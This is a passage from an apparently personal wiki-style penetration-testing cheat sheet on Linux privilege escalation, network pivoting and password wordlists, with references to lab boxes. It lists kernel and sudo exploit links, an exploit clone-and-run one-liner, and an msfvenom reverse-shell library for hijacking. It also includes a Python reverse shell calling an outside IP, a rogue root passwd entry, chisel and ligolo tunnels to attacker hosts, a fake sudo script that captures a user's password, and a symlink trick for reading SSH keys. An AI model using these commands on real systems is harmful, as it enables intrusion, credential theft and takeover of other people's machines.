&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux versions&lt;br /&gt;
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36&lt;br /&gt;
https://www.exploit-db.com/exploits/15285&lt;br /&gt;
# Linux Kernel &amp;lt; 4.4.0-116 (Ubuntu 16.04.4)&lt;br /&gt;
https://www.exploit-db.com/exploits/44298&lt;br /&gt;
# Linux Kernel &amp;lt; 4.13.9 (Ubuntu 16.04 / Fedora 27)&lt;br /&gt;
https://www.exploit-db.com/exploits/45010&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Copy Fail - CVE-2026-31431 ====&lt;br /&gt;
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py&lt;br /&gt;
&lt;br /&gt;
==== Dirty Frag: Universal Linux LPE ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/V4bel/dirtyfrag.git &amp;amp;&amp;amp; cd dirtyfrag &amp;amp;&amp;amp; gcc -O0 -Wall -o exp exp.c -lutil &amp;amp;&amp;amp; ./exp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ld_reload - Dynamic library hijacking ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one&lt;br /&gt;
# List Dynamic Dependencies = ldd&lt;br /&gt;
# Ldd is a powerful command-line tool that allows users to view an executable file&#039;s shared object dependencies.&lt;br /&gt;
ldd /usr/bin/log-sweeper&lt;br /&gt;
        linux-vdso.so.1 =&amp;gt;  (0x00007ffe11833000)&lt;br /&gt;
        utils.so =&amp;gt; not found&lt;br /&gt;
        libc.so.6 =&amp;gt; /lib64/libc.so.6 (0x00007f6ce440c000)&lt;br /&gt;
        /lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)&lt;br /&gt;
# Generate .so payload&lt;br /&gt;
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so &amp;gt; utils.so&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SUID ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Setuid Screen 4.5.0 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/41154&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sudo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]&lt;br /&gt;
&lt;br /&gt;
==== Systemctl (Misconfigured Permissions — sudo/SUID) ====&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]&lt;br /&gt;
&lt;br /&gt;
==== Sudo permission to run apache restart ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If your user have these permissions&lt;br /&gt;
(root) NOPASSWD: /usr/sbin/service apache2 restart&lt;br /&gt;
# First check what file you have write permission to.&lt;br /&gt;
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.&lt;br /&gt;
# Example&lt;br /&gt;
# envvars in /etc/apache2 is writeable.&lt;br /&gt;
# Change to another user if there are any on the machine&lt;br /&gt;
export APACHE_RUN_USER=DifferentUser&lt;br /&gt;
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Exim 4.84-3 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/39535&lt;br /&gt;
# If error, fix with&lt;br /&gt;
sed -i -e &#039;s/\r$//&#039; 39535.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== OpenSMTPD 6.4.0 &amp;lt; 6.6.1 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/48051&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Writeable passwd ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate hashed password&lt;br /&gt;
openssl passwd  -1 -salt aghanim pass123&lt;br /&gt;
# Add to passwd on target&lt;br /&gt;
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Pivoting/tunneling technique ==&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]&lt;br /&gt;
&lt;br /&gt;
[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
&lt;br /&gt;
# Using SOCKS5 with chisel&lt;br /&gt;
./chisel server -v -p 8000 --socks5&lt;br /&gt;
# On the client/target/victim machine&lt;br /&gt;
chisel.exe client -v attacker.com:8000 socks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ligolo-ng ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### LINUX&lt;br /&gt;
# Prepare tunnel&lt;br /&gt;
sudo ip tuntap add user $(whoami) mode tun ligolo&lt;br /&gt;
sudo ip link set ligolo up&lt;br /&gt;
# Start proxy on kali&lt;br /&gt;
./proxy -laddr 192.168.45.195:53 -selfcert&lt;br /&gt;
# On target&lt;br /&gt;
./agent -connect 192.168.45.195:53 -ignore-cert&lt;br /&gt;
# See session in ligolo proxy&lt;br /&gt;
ligolo-ng» session&lt;br /&gt;
# Add pivot to internal network on kali&lt;br /&gt;
sudo ip r add 172.16.213.0/24 dev ligolo&lt;br /&gt;
# Check ip route&lt;br /&gt;
ip route&lt;br /&gt;
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100&lt;br /&gt;
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100&lt;br /&gt;
172.16.213.0/24 dev ligolo scope link&lt;br /&gt;
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195&lt;br /&gt;
192.168.213.0/24 via 192.168.45.254 dev tun0&lt;br /&gt;
&lt;br /&gt;
# In ligolo - in correct session&lt;br /&gt;
[Agent: user@target] » start&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### WINDOWS&lt;br /&gt;
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:&lt;br /&gt;
# Download Ligolo-ng Proxy:&lt;br /&gt;
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.&lt;br /&gt;
# Install Wintun Driver:&lt;br /&gt;
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.&lt;br /&gt;
# Download the appropriate wintun.dll from the Wintun repository.&lt;br /&gt;
# Place the wintun.dll file in the same directory as proxy.exe.&lt;br /&gt;
# Run the Proxy:&lt;br /&gt;
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.&lt;br /&gt;
# Execute the proxy with a self-signed certificate:&lt;br /&gt;
proxy.exe -selfcert&lt;br /&gt;
# This command starts the proxy server with a self-signed TLS certificate.&lt;br /&gt;
# Configure the Agent:&lt;br /&gt;
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.&lt;br /&gt;
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:&lt;br /&gt;
agent.exe -connect :11601 -ignore-cert&lt;br /&gt;
# Replace  with the actual IP address of your proxy machine.&lt;br /&gt;
# Manage Sessions:&lt;br /&gt;
# In the proxy&#039;s command interface, use the session command to list active sessions.&lt;br /&gt;
# Select the desired session to interact with the connected agent.&lt;br /&gt;
# Start Tunneling:&lt;br /&gt;
# Within the selected session, initiate the tunnel:&lt;br /&gt;
tunnel_start --tun&lt;br /&gt;
# Replace  with your chosen name for the TUN interface.&lt;br /&gt;
# Set Up Routing:&lt;br /&gt;
# Determine the network configuration of the agent using the ifconfig command within the session.&lt;br /&gt;
# On your Windows proxy machine, add routes to access the target network:&lt;br /&gt;
route add  mask&lt;br /&gt;
# Replace , , and  with the appropriate values based on the agent&#039;s network configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
# DISCOVER OTHER HOSTS ON THE NETWORK&lt;br /&gt;
# On windows you can use post/windows/gather/arp_scanner to discover other machines&lt;br /&gt;
# On Linux you can try arp -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -D 1337 user@172.16.0.5 -fN&lt;br /&gt;
# Now use proxychains&lt;br /&gt;
# If you want to nmap without proxychains&lt;br /&gt;
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== sshuttle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
sshuttle [options] -r [username@]sshserver[:port]&lt;br /&gt;
# Example&lt;br /&gt;
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding techniques ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Windows&lt;br /&gt;
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS&lt;br /&gt;
# Metasploit&lt;br /&gt;
portfwd add -l 9090 -p 9090 -r TARGETIP&lt;br /&gt;
# Reverse ssh tunnel, port forwarding 8090 from target to us:&lt;br /&gt;
ssh -R 8090:localhost:8090 user@ip&lt;br /&gt;
# Local port forward, forward local 8090 to target:&lt;br /&gt;
ssh -L 8090:localhost:8090 user@ip&lt;br /&gt;
# Chisel&lt;br /&gt;
# Example: forward port 8888 to attacker using chisel&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host&lt;br /&gt;
# Example&lt;br /&gt;
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
Example: forward port 8888 to attacker using chisel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
=== Decompile ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/rocky/python-decompile3&lt;br /&gt;
# Translate python bytecode to python source code.&lt;br /&gt;
$ python pyinstxtractor.py&lt;br /&gt;
# Decompile .pyc&lt;br /&gt;
# https://github.com/zrax/pycdc&lt;br /&gt;
git clone https://github.com/zrax/pycdc&lt;br /&gt;
cd pycdc&lt;br /&gt;
cmake .&lt;br /&gt;
make&lt;br /&gt;
make check&lt;br /&gt;
python pycdc C:\Users\Bobby\example.pyc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If a python script tries to load a module which does not exist, we can place our own module.  #  https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes&lt;br /&gt;
# Add a python reverse shell into the file&lt;br /&gt;
echo &#039;import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.165&amp;quot;,22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&#039; &amp;gt; module.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PDB (Python Debugger ===&lt;br /&gt;
&lt;br /&gt;
[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Add import pdb&lt;br /&gt;
import pdb&lt;br /&gt;
# In script, before an error message, add&lt;br /&gt;
pdb.set_trace()&lt;br /&gt;
# Example&lt;br /&gt;
-&amp;gt; url = url.group(1)&lt;br /&gt;
(Pdb) print url.group(1)&lt;br /&gt;
http://swagshop.htb/index.php/admin/das[...]&lt;br /&gt;
(Pdb) continue&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python Extractor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/extremecoders-re/pyinstxtractor&lt;br /&gt;
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell&lt;br /&gt;
Python3 pyinstxtractor.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Simple HTTP Server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$python -m SimpleHTTPServer&lt;br /&gt;
$python -m http.server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Symbolic Link (Windows) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt&lt;br /&gt;
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.&lt;br /&gt;
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Wordlists ==&lt;br /&gt;
&lt;br /&gt;
=== Cewl - Generate wordlist ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Will create a wordlist from words in the URL, and add numbers.&lt;br /&gt;
cewl  --with-numbers &amp;gt; wordlist&lt;br /&gt;
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)&lt;br /&gt;
cewl -d 2 -m 5 -w docswords.txt https://example.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cupp ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 cupp.py -i # Interactive mode where you fill out information about the person&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Datelist - Generate date wordlist ===&lt;br /&gt;
&lt;br /&gt;
[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate date list with yyyy-mm-dd format&lt;br /&gt;
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -&lt;br /&gt;
-b = beginning date&lt;br /&gt;
-e = end date&lt;br /&gt;
-f = format&lt;br /&gt;
-o = output&lt;br /&gt;
-s = spacing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Seclists ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]&lt;br /&gt;
&lt;br /&gt;
=== Python script ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import itertools&lt;br /&gt;
words = [&amp;quot;firmanavn&amp;quot;, &amp;quot;sommer&amp;quot;, &amp;quot;prod&amp;quot;,&lt;br /&gt;
&amp;quot;dev&amp;quot;, &amp;quot;database&amp;quot;, &amp;quot;app&amp;quot;, &amp;quot;server&amp;quot;,&lt;br /&gt;
&amp;quot;test&amp;quot;, &amp;quot;oracle&amp;quot;, &amp;quot;doc&amp;quot;, &amp;quot;admin&amp;quot;, &amp;quot;db&amp;quot;,&lt;br /&gt;
&amp;quot;password&amp;quot;, &amp;quot;administrator&amp;quot;, &amp;quot;tech&amp;quot;]&lt;br /&gt;
combo = itertools.combinations(words, 2)&lt;br /&gt;
combo = list(combo)&lt;br /&gt;
&lt;br /&gt;
with open(&amp;quot;/home/kali/wordlist.txt&amp;quot;, &amp;quot;w+&amp;quot;) as wordlist:&lt;br /&gt;
    for i in combo:&lt;br /&gt;
        wordlist.write(i[0] + &amp;quot;.&amp;quot; + i[1])&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
        wordlist.write(i[0].capitalize() + &amp;quot;.&amp;quot; + i[1].capitalize())&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    for i in range(0,2023):&lt;br /&gt;
        for v in words:&lt;br /&gt;
            word = v + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Linux Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Add SUID (setuid) bit to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
chmod 4755 /tmp/sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add user to sudoers file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Add User to sudoers file&lt;br /&gt;
echo username ALL=(ALL) ALL &amp;gt;&amp;gt; sudoers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BruteForce using su when having a shell - Password Spray ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/carlospolop/su-bruteforce&lt;br /&gt;
./su.sh  -u ray -w xato-net-10-million-passwords-10000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cat, cut delimeter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Cat a file and cut delimiter space in field 3&lt;br /&gt;
cat $log | cut -d&#039; &#039; -f3-&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy output to clipboard ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat file | xclip -selection clipboard&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enable cursor in Terminal Kali ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
tput cnorm&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Output tty to shell or redirect to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From eavsdropper room in THM&lt;br /&gt;
# If a user types in his password and you have a shell you can redirect output to your shell.&lt;br /&gt;
cat sudo&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
read password&lt;br /&gt;
echo $password &amp;gt; /dev/pty/0 # Choose the correct pty.&lt;br /&gt;
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.&lt;br /&gt;
# Run&lt;br /&gt;
export $PATH=/tmp:$PATH&lt;br /&gt;
# Now wait for the user to type his password and it will pop up in your shell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kill/close open port on linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fuser -k PORT/tcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reset kali to default settings ===&lt;br /&gt;
&lt;br /&gt;
BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you&#039;re having problems with kali acting up, you can reset kali to default.&lt;br /&gt;
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;br /&gt;
sudo apt-get dist-upgrade&lt;br /&gt;
sudo apt-get autoremove&lt;br /&gt;
sudo apt-get autoclean&lt;br /&gt;
sudo update-grub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://vk9-sec.com/linux-restricted-shell-bypass/&lt;br /&gt;
# List of escape methods&lt;br /&gt;
